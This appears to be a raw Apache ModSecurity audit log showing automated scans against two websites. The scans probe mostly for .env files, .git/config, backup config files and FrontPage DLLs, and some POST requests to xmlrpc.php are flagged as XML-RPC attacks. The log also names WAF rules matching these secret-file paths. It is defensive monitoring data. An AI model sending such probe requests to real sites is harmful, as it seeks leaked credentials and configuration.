PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9086ac5aba1baf1cbaf9363cb9a55d371750030350; expires=Mon, 16 Jun 2025 00:32:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3ea4ad0f-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/tmp/.git/config"] [unique_id "aE9YDZbumDYPKpRD2ektFgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030349929143 681177 (- - -) Stopwatch2: 1750030349929143 681177; combined=1728, p1=357, p2=1263, p3=0, p4=0, p5=108, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3ea4ad0f-Z-- --4d3c1a2c-A-- [16/Jun/2025:05:02:33.197419 +0530] aE9YEEoyC4_VyyL7sS6OzgAAAAI 185.177.72.210 59912 127.0.0.1 7081 --4d3c1a2c-B-- GET /:8000/.env.test HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4d3c1a2c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0dddf6540ae8d3fae512971ff33473091750030353; expires=Mon, 16 Jun 2025 00:32:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4d3c1a2c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.env.test"] [unique_id "aE9YEEoyC4_VyyL7sS6OzgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030352548279 649203 (- - -) Stopwatch2: 1750030352548279 649203; combined=1810, p1=440, p2=1270, p3=0, p4=0, p5=99, sr=126, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4d3c1a2c-Z-- --80212147-A-- [16/Jun/2025:05:02:37.969504 +0530] aE9YFVxTdrwJSUMoZvG3-AAAAAc 185.177.72.210 60118 127.0.0.1 7081 --80212147-B-- GET /config/config.php.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --80212147-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bf357748c61650b0dfae4f25d26c90761750030357; expires=Mon, 16 Jun 2025 00:32:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --80212147-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config/config.php.old"] [unique_id "aE9YFVxTdrwJSUMoZvG3-AAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030357312593 656986 (- - -) Stopwatch2: 1750030357312593 656986; combined=1792, p1=351, p2=1309, p3=0, p4=0, p5=131, sr=113, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --80212147-Z-- --534d4d07-A-- [16/Jun/2025:05:03:11.867873 +0530] aE9YNpbumDYPKpRD2ektJgAAAAA 128.199.112.101 47954 127.0.0.1 7081 --534d4d07-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --534d4d07-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --534d4d07-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9YNpbumDYPKpRD2ektJgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030390782749 1085179 (- - -) Stopwatch2: 1750030390782749 1085179; combined=2248, p1=366, p2=1501, p3=43, p4=62, p5=172, sr=98, sw=104, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --534d4d07-Z-- --c93cbc62-A-- [16/Jun/2025:05:03:40.072452 +0530] aE9YU8alTF-TysO2fMOFcAAAAAE 185.177.72.210 33810 127.0.0.1 7081 --c93cbc62-B-- GET /:8181/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c93cbc62-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c1367559da53ba63a579a13e719d6dad1750030419; expires=Mon, 16 Jun 2025 00:33:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c93cbc62-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/.env"] [unique_id "aE9YU8alTF-TysO2fMOFcAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030419404060 668456 (- - -) Stopwatch2: 1750030419404060 668456; combined=1618, p1=353, p2=1167, p3=0, p4=0, p5=98, sr=79, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c93cbc62-Z-- --9fd05e58-A-- [16/Jun/2025:05:03:43.073034 +0530] aE9YVmM0Xdzjsxbr1PzubAAAAAY 185.177.72.210 33914 127.0.0.1 7081 --9fd05e58-B-- GET /_vti_bin/shtml.dll HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9fd05e58-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a0320196ce6be48295f20ddaa0de32fc1750030422; expires=Mon, 16 Jun 2025 00:33:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9fd05e58-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/_vti_bin/shtml.dll"] [unique_id "aE9YVmM0Xdzjsxbr1PzubAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030422397926 675170 (- - -) Stopwatch2: 1750030422397926 675170; combined=1672, p1=335, p2=1247, p3=0, p4=0, p5=89, sr=109, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9fd05e58-Z-- --b911f433-A-- [16/Jun/2025:05:03:47.652549 +0530] aE9YWkoyC4_VyyL7sS6O8AAAAAI 185.177.72.210 34072 127.0.0.1 7081 --b911f433-B-- GET /data.mdb HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b911f433-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7d13b8f30d785e39b404c723c4c795ec1750030427; expires=Mon, 16 Jun 2025 00:33:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b911f433-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/data.mdb"] [unique_id "aE9YWkoyC4_VyyL7sS6O8AAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030426983673 668941 (- - -) Stopwatch2: 1750030426983673 668941; combined=1931, p1=356, p2=1444, p3=0, p4=0, p5=128, sr=105, sw=3, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b911f433-Z-- --572c913a-A-- [16/Jun/2025:05:03:53.099477 +0530] aE9YYH87s8ehggCfEuay5QAAAAQ 185.177.72.210 49374 127.0.0.1 7081 --572c913a-B-- GET /:10000/www/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --572c913a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c09f5c92199f74104dc2306766d49afc1750030432; expires=Mon, 16 Jun 2025 00:33:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --572c913a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/www/.env"] [unique_id "aE9YYH87s8ehggCfEuay5QAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030432429020 670532 (- - -) Stopwatch2: 1750030432429020 670532; combined=1973, p1=427, p2=1429, p3=0, p4=0, p5=116, sr=118, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --572c913a-Z-- --0d428d08-A-- [16/Jun/2025:05:03:58.645880 +0530] aE9YZX87s8ehggCfEuay6gAAAAQ 185.177.72.210 49828 127.0.0.1 7081 --0d428d08-B-- GET /admin.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0d428d08-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7e7711c22e8ba2f09d7c40fedfceccde1750030438; expires=Mon, 16 Jun 2025 00:33:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0d428d08-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/admin.old"] [unique_id "aE9YZX87s8ehggCfEuay6gAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030437993074 652887 (- - -) Stopwatch2: 1750030437993074 652887; combined=1992, p1=336, p2=1521, p3=0, p4=0, p5=134, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0d428d08-Z-- --633dd13b-A-- [16/Jun/2025:05:03:59.617662 +0530] aE9YZkoyC4_VyyL7sS6O-AAAAAI 185.177.72.210 49862 127.0.0.1 7081 --633dd13b-B-- GET /cmd/testdata/expected/dot_env/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --633dd13b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=743cf59c967453713a54c84925f177ec1750030439; expires=Mon, 16 Jun 2025 00:33:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --633dd13b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/cmd/testdata/expected/dot_env/.env"] [unique_id "aE9YZkoyC4_VyyL7sS6O-AAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030438966710 651015 (- - -) Stopwatch2: 1750030438966710 651015; combined=1753, p1=386, p2=1273, p3=0, p4=0, p5=93, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --633dd13b-Z-- --698ac648-A-- [16/Jun/2025:05:04:02.818032 +0530] aE9YaqpdvXW4_hknQUUuKAAAAAo 185.177.72.210 48434 127.0.0.1 7081 --698ac648-B-- GET /cdw-backend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --698ac648-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7ee271ae465d876568d2a9f1c3a11f5d1750030442; expires=Mon, 16 Jun 2025 00:34:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --698ac648-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/cdw-backend/.env"] [unique_id "aE9YaqpdvXW4_hknQUUuKAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030442098529 719578 (- - -) Stopwatch2: 1750030442098529 719578; combined=1924, p1=370, p2=1448, p3=0, p4=0, p5=105, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --698ac648-Z-- --0c66e050-A-- [16/Jun/2025:05:04:04.827330 +0530] aE9YbH2GhYywD7zZgx4H5gAAAAM 185.177.72.210 48506 127.0.0.1 7081 --0c66e050-B-- GET /configure.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0c66e050-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b31d883d3c4d4226412aa49f7767b5f61750030444; expires=Mon, 16 Jun 2025 00:34:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0c66e050-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/configure.php.bak"] [unique_id "aE9YbH2GhYywD7zZgx4H5gAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030444161729 665677 (- - -) Stopwatch2: 1750030444161729 665677; combined=1908, p1=351, p2=1441, p3=0, p4=0, p5=116, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0c66e050-Z-- --e909d324-A-- [16/Jun/2025:05:04:11.834685 +0530] aE9Ycn2GhYywD7zZgx4H6QAAAAM 128.199.112.101 44662 127.0.0.1 7081 --e909d324-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 501 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --e909d324-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --e909d324-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9Ycn2GhYywD7zZgx4H6QAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030450874073 960665 (- - -) Stopwatch2: 1750030450874073 960665; combined=2026, p1=354, p2=1336, p3=31, p4=54, p5=167, sr=96, sw=84, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e909d324-Z-- --15dda733-A-- [16/Jun/2025:05:04:16.702747 +0530] aE9YeGM0Xdzjsxbr1PzufQAAAAY 185.177.72.210 44872 127.0.0.1 7081 --15dda733-B-- GET /_vti_bin/_vti_adm/admin.dll HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --15dda733-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b4a3a429337dac094a2de12f7497a0801750030456; expires=Mon, 16 Jun 2025 00:34:16 